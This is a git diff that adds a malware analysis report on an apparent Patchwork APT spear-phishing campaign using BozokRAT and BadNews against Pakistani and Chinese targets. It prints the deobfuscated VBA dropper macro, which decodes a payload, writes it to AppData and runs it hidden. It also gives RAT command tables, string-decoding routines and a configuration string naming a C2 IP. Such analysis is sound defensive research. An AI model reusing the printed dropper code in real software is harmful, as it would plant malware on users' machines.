diff --git a/Indian/APT/Patchwork/2020-07-23/Analysis.md b/Indian/APT/Patchwork/2020-07-23/Analysis.md
new file mode 100644
index 0000000..c3cb74e
--- /dev/null
+++ b/Indian/APT/Patchwork/2020-07-23/Analysis.md
@@ -0,0 +1,776 @@
+## White Company, copycat company of Patchwork (or just aka)
+## Table of Contents
+* [Malware analysis](#Malware-analysis)
+* [Cyber kill chain](#Cyber-kill-chain)
+* [Indicators Of Compromise (IOC)](#IOC)
+* [References MITRE ATT&CK Matrix](#Ref-MITRE-ATTACK)
+* [Yara rules](#Yara)
+* [Links](#Links)
+ + [Original Tweet](#tweet)
+ + [Link Anyrun](#Links-Anyrun)
+ + [References](#References)
+
+
Malware analysis
+
The initial vector comes from a maldoc probably send by Spear-phishing campaign.This content a macro witch use the Image1_MouseMove method for performing the actions when only the victim goes over the cover picture, this limits the execution of the payload on the sandbox.This executes two methods, one for the drops and launch the lure to the victim and for executing the implant.
+
+```vb
+Private Sub Image1_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)
+ LaunchDoc
+ DropPayloads
+End Sub
+```
+
+
The first method concatenate some functions for getting the encoded lure document. After this, this decodes the encoded data and pushes it on the Temp folder. Finally, initialize a Word application for open the lure to the victim.
The algorithm used for decode the lure and the payload, use multiple character replacement and extraction, bitwise operations and convert each characters for getting the payload.
+
+```vb
+Function Decode(ByVal DataArg)
+ Const base = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
+ Dim lim, result, i
+ DataArg = Replace(DataArg, vbCrLf, "")
+ DataArg = Replace(DataArg, vbTab, "")
+ DataArg = Replace(DataArg, " ", "")
+ lim = Len(DataArg)
+ If lim Mod 4 <> 0 Then
+ Err.Raise 1, "DpwH56HIF7", "Bad base string."
+ Exit Function
+ End If
+ For i = 1 To lim Step 4
+ Dim val, j, t, offset, tmp, c
+ val = 3
+ tmp = 0
+ For j = 0 To 3
+ t = Mid(DataArg, i + j, 1)
+ If t = "=" Then
+ val = val - 1
+ offset = 0
+ Else
+ offset = InStr(1, base, t, vbBinaryCompare) - 1
+ End If
+ If offset = -1 Then
+ Err.Raise 2, "DpwH56HIF7", "Bad character In base string."
+ Exit Function
+ End If
+ tmp = 64 * tmp + offset
+ Next
+ tmp = Hex(tmp)
+ tmp = String(6 - Len(tmp), "0") & tmp
+ c = Chr(CByte("&H" & Mid(tmp, 1, 2))) + Chr(CByte("&H" & Mid(tmp, 3, 2))) + Chr(CByte("&H" & Mid(tmp, 5, 2)))
+ result = result & Left(c, val)
+ Next
+ Decode = result
+End Function
+```
+
+
The next functions are used for parse, decode the encoded data of the payload to execute and read the file writes on the disk.
+
+```vb
+Function ReadStream(Object_input)
+ Dim StreamObj
+ Set StreamObj = CreateObject("ADODB.Stream")
+ StreamObj.Type = 1
+ StreamObj.Open
+ StreamObj.LoadFromFile Object_input
+ ReadStream = StreamObj.Read
+ Set StreamObj = Nothing
+End Function
+Function Parse(arg) ' Fix
+ Dim tmp, i, result
+ For i = 1 To Len(arg) Step 32
+ tmp = Mid(arg, i, 32)
+ result = result & DecodeString(tmp, "ludos")
+ Next
+ Parse = result
+End Function
+Function DecodeString(arg1, arg2)
+ Dim lim1, c, lim2, i, result, tmp
+ result = ""
+ lim1 = Len(arg2)
+ c = 1
+ lim2 = Len(arg1)
+ arg1 = StrReverse(arg1)
+ For i = lim2 To 1 Step -1
+ tmp = Asc(Mid(arg1, i, 1)) - Asc(Mid(arg2, c, 1)) + 256
+ result = result & Chr(tmp Mod 256)
+ c = c + 1
+ If c > lim1 Then c = 1
+ Next
+ result = StrReverse(result)
+ DecodeString = result
+End Function
+```
+
+
The following functions, convert in binary format the bytes and string pushed as arguments.
+
+```vb
+Function MultiByteToBinary(MultiByte)
+ Dim RS, LMultiByte, Binary
+ Const adLongVarBinary = 205
+ Set RS = CreateObject("ADODB.Recordset")
+ LMultiByte = LenB(MultiByte)
+ If LMultiByte > 0 Then
+ RS.Fields.Append "mBinary", adLongVarBinary, LMultiByte
+ RS.Open
+ RS.AddNew
+ RS("mBinary").AppendChunk Binary & ChrB(0)
+ RS.Update
+ Binary = RS("mBinary").GetChunk(LMultiByte)
+ End If
+ MultiByteToBinary = Binary
+End Function
+Function MultiByteToBinary(arg)
+ Dim Binary
+ If VarType(arg) = 8 Then Binary = MultiByteToBinary(arg) Else Binary = arg ' if 8 -> string
+ Dim AdodbObj, l
+ Const c = 201
+ Set AdodbObj = CreateObject("ADODB.Recordset")
+ l = LenB(MultiByte)
+ If l > 0 Then
+ AdodbObj.Fields.Append "mBinary", c, l
+ AdodbObj.Open
+ AdodbObj.AddNew
+ AdodbObj("mBinary").AppendChunk Binary
+ AdodbObj.Update
+ MultiByteToBinary = AdodbObj("mBinary")
+ Else
+ MultiByteToBinary = ""
+End If
+End Function
+```
+
+
This code can be found on Visual Basic forums which give functions ready to use.
+
+
The second function called by the mouseover of the image content lot of comments and will be analysed later. Like the lure, lot of functions are concate for get the string (implant), this is parsed with the algorithms and decoded for write and execute the payload.This delete the lure file on the disk too.
+
+```vb
+Sub sampledel()
+ On Error Resume Next
+ Dim wor As Word.Application
+ Set wor = GetObject(, "Word.Application")
+ wor.Documents("Covid19_Guidelines.doc").Close
+End Sub
+Public Function DropPayloads() As Variant ' version without comments
+ Set sh = CreateObject("WScript.Shell")
+ Dim wshell, Path_Payload, Path_Unused, Path_Base, Path_SideDLL, Path_legit, Temp_Folder, Path_APP, Appdata_Folder, ScriptingObj, ShObj
+ Set wshell = CreateObject("WScript.Shell").Environment("PROCESS")
+ Temp_Folder = wshell("TEMP")
+ Set ScriptingObj = CreateObject("Scripting.FileSystemObject")
+ Path_Payload = Temp_Folder & "\micro"
+ Payload = Payload & mi1
+ Payload = Payload & mi2
+ Payload = Payload & mi3
+ Payload = Payload & mi4
+ Set ScObject = ScriptingObj.createTextFile(Path_Payload, True)
+ ScObject.Write Decode(Payload)
+ ScObject.Close
+ Appdata_Folder = wshell("APPDATA")
+ Appdata_Folder = Appdata_Folder & "\Microsoft"
+ Path_APP = Appdata_Folder & "\MicroScMgmt.exe"
+ If Not ScriptingObj.FileExists(Path_APP) Then
+ WriteFile MultiByteToBinary(ReadStream(Path_Payload)), Path_APP
+ End If
+ If ScriptingObj.FileExists(Path_Payload) Then
+ ScriptingObj.DeleteFile Path_Payload
+ End If
+ Set ShObj = CreateObject("WScript.shell")
+ ShObj.Run Path_APP, 0, False
+ Set ShObj = Nothing
+ sampledel
+End Function
+```
+
+
As first, the RAT verify if this possible to join legitimate domain for be ensure to be possible to contact the C2.If the result is successful, this perform the rest of the operations.
+
+
+
+
The implant checks if this on a sandbox or on a VM by the debugger. This check after on the list on the process, this verifies is the AV is present and give a code.The process is based on recognition in modules (exe, dlls) mounted in memories by the process or by its process name.
+
+
+
+
This is the list of the internal code. This is used for performing some evading actions for limit the detection.
This pushes a persistence in function of the AV check.
+
+
+
+
Some commands are hardcoded as follows :
+
+
+
+
Code (Hex)
+
Command
+
+
+
3
+
Return the type of the disk asked
+
+
+
4
+
Get a list of the files of a location given in argument
+
+
+
9
+
Execute a file in cmd windows (hidden params)
+
+
+
A
+
Execute a file (shell32 call)
+
+
+
D
+
Delete the choosen file
+
+
+
10
+
Copies, moves, renames, or deletes a file system object (legagy mode -> XP)
+
+
+
16
+
Move the chossen file
+
+
+
19
+
Upload a file to the compromissed system
+
+
+
21
+
Send the list of the process running to the system
+
+
+
25
+
Kill a designed process
+
+
+
5C
+
Decrypt the additionnal module for the strealer and remote connection options
+
+
+
7C
+
Download a file and execute it on the system
+
+
+
+
This obfuscates the sensible strings with two algorithms :
+
+
The first one uses the subtraction of twice the same string, which is equivalent to adding to this string with 0xFF (bitwise operation) for getting the decoded string, This is only used for the dll to load.
+
+
+
The second uses a xor to decode the data. This uses the 0x3 and 0xA keys to get the methods and sensible strings.
+
+
+
+
+
That interesting to note that the first algorithm have been used by the Iron group in reusing the leak of the HackingTeam’s “core” library. Probably added later by the code knowing that the RAT code can be readily available and that the attacker likes to use tools and techniques from Chinese groups. This explains the detection of the strings also used by Iron Tiger group for theirs malwares.
+
+
+
+
+
We can see the ID, the password used for the communications and the version of the BozokRAT (1.4.1).
+
+```
+String that the configuration from memory dump (username, payload, port, IP, reference...)
+
+TestServer|4NCwiOVL7rfHl|server.exe||ext.dat|mypass|0|0|0|0|0|4040|185.157.78.135*|0|
+
+From dump PCAP (debug):
+
+zUSER-PC|admin|TestServer|ENU|5|141|0|2|mypass|40|Libraries
+
+[LengthofData]Hostname|Username|ID|LocaleInfo|OSVersion|RATVersion|0|2|ConnectionPassword|IdleTime|ActiveWindowName
+```
+
+
This RAT, that used by the APT group called admin@338 who attacked between 2013 and 2016 in focusing financially, economic, and trade policy sectors. Now, this RAT can found easily on the web and markets.
+
+
But on the comments of the macro, we can note that the payload reuse the same algorithm that that use Patchwork in 2016 (which targeted China) for drops the Badnews backdoor on the system.That used the vulnerable legit dll for load the Badnews backdoor by side-loading method. This don't have been uploaded on any sandbox platform and don't have a public reference that this IOC that used on an operation in the past (early June 2020). However, a reference to TTPs and different hash can be found on a report of and attack against china by Patchwork at the same time that the macro algorithm in 2016.
Once check the connectivity with wikipedia domain for ensure to be communicating to the C2, this loads serval mirrors sites for getting the configuration and have the C2 to contact.
The mirrors have the same data and have the same date of the edition (4 May 2017).
+
+
+
+
+
Once the content of the page has been parsed (search by pattern {{xxx}}), this decode from base64, performs a Xor operation (0x23) and rotate left by 3 bits.
+
+```asm
+ al <<= 4;
+ al += cl;
+ al ^= 0x23;
+ al = rotate_left8 (al, 3);
+ *((esi + ebx)) = al;
+ esi++;
+```
+
+
Of course, like the payload is old, the C2 don't response to a solicitation.
We can note that BadNews use the same substitution of strings that BozokRAT for loads the dlls already taken from the HackingTeam’s leak in 2017. It's therefore not excluded that the coders of BadNews have reused this leaks for the creation of custom backdoor.
+
+
+
Same group ?
+
An incident release revealed spear-phishing with fake e-mail account of the presidential palace to the Taiwan organizations (21 May 2020). Few details are available, difficult to said more about it with the release press.
+
+
+
The IP was used as delivery for the second stage of the infection for one of two samples. Unfortunately, the next stage can't respond for getting it. Interesting detail, feed reference come again as "rss feed".
We can see all the references on this graph done on VT by vchen user (cf links for map), the spear-phishing give a link to a zip with the executables with a simple C2 as final point.
+
+
+
+
By this help of this graph, another BozokRAT sample can be found (21ee9bb5f2444fdf72d55109b7f823d5a5cd43d60aa1fb653764e2e5d20f2080), we can note that have the same configuration pushed in memory for connect to the C2.
Difficult to confirm if this sample is from the spear-phishing operation or on the Patchwork operation only but this is enough interesting to underline it.
+
+
Common objectives
+
+
In same time, the Indian APT Patchwork group targetted Pakistan and China by maldocs and waterhole site for theirs operations.
+
+
The first maldoc use the CVE-2015-2545 vulnerability that alllow to run arbitrary code. The EFS script executed use a second vunerablity, the CVE-2017-0261 (EPS "restore" Use-After-Free) for load a shellcode in memory.
+
+
+
+
The EPS script contains multiple PE file and shellcode, the shellcode loaded performs a Xor operation for decode the payload and execute it.
A condition switch checks the order of the C2, this can done as follows:
+
+
+
+
+
Code (Hex)
+
Command
+
+
+
0
+
Kill switch
+
+
+
5
+
Upload the files choosen by the attacker to the C2
+
+
+
8
+
Download a file and execute it (from others samples, a keylogger ?)
+
+
+
13
+
Upload form an hardcoded list of types of files to the C2 {".txt",".doc",".xls",".xlsx",".docx",".xls",".ppt",".pptx", ".pdf"}
+
+
+
23
+
Take a screenshot
+
+
+
33
+
Download from an URL and execute it.
+
+
+
+
The last sample is from an iframe inserted from the homepage of the website hmfs in redirecting to dailypakistan.info for check if the victim is interesting and launch the PE file.
+
+
+
+
This usurps the graphic style and the name of a Java installer, this drops a PE file and execute it.
+
+
+
+
This payload is the same that the BozoRAT that used by the sample spotted as White Company. With all the matches, this allows to show a correlation between Patchwork, and the white Company are the same, Patchwork.
+
+
We also note that Patchwork have used BozokRAT for theirs operations.
+
+
This campaign focuses Pakistan due to the cooperation mechanism between China and Pakistan for the response to the COVID-19 event, this alludes to Zhao Lijian's speech at a press conference on Chinese post COVID-19 policy issues with economic and strategic alliances.
+
+
These guidelines, expressed in more detail in the press, have been reproduced in the document weaponised with the macro using this theme.
+
+
In the same way, the law on security, the data draft had been voted and put it in public early July 2020, the necessities of the implementation for security measures in China were used by usurping the ministry of interior of Pakistan via the FIA.
+
+
+
+
Recently, the loss of twenty Indian soldiers in the clash with China was the worst clash in the past 60 years (June 16, 2020) in a region heavily tense with alliances between Pakistan and China.
+
+
The Belt and Road Initiative, formerly known as One Belt One Road, is a global infrastructure development strategy adopted by the Chinese government in 2013 to replace the current Silk Road causing problems between Pakistan, India and China. This could add tension by taking into account the share in GDP that brings the Silk Road to India. In addition, the fact that China receives a boost in the progress of this project with the repurchase of almost all the shares in Chinese companies by the COVID-19 event and in the expansion of its exclusive economic zone (EEZ) for maritime trade extends up to 370.4 km around each new artificial island created by China.
+
+
+
This could also be a valid reason for the phishing incident in Taiwan, given the current news.
+
+
+
+
+
Cyber kill chain
+
This process graph represent the cyber kill chain used by the attacker.
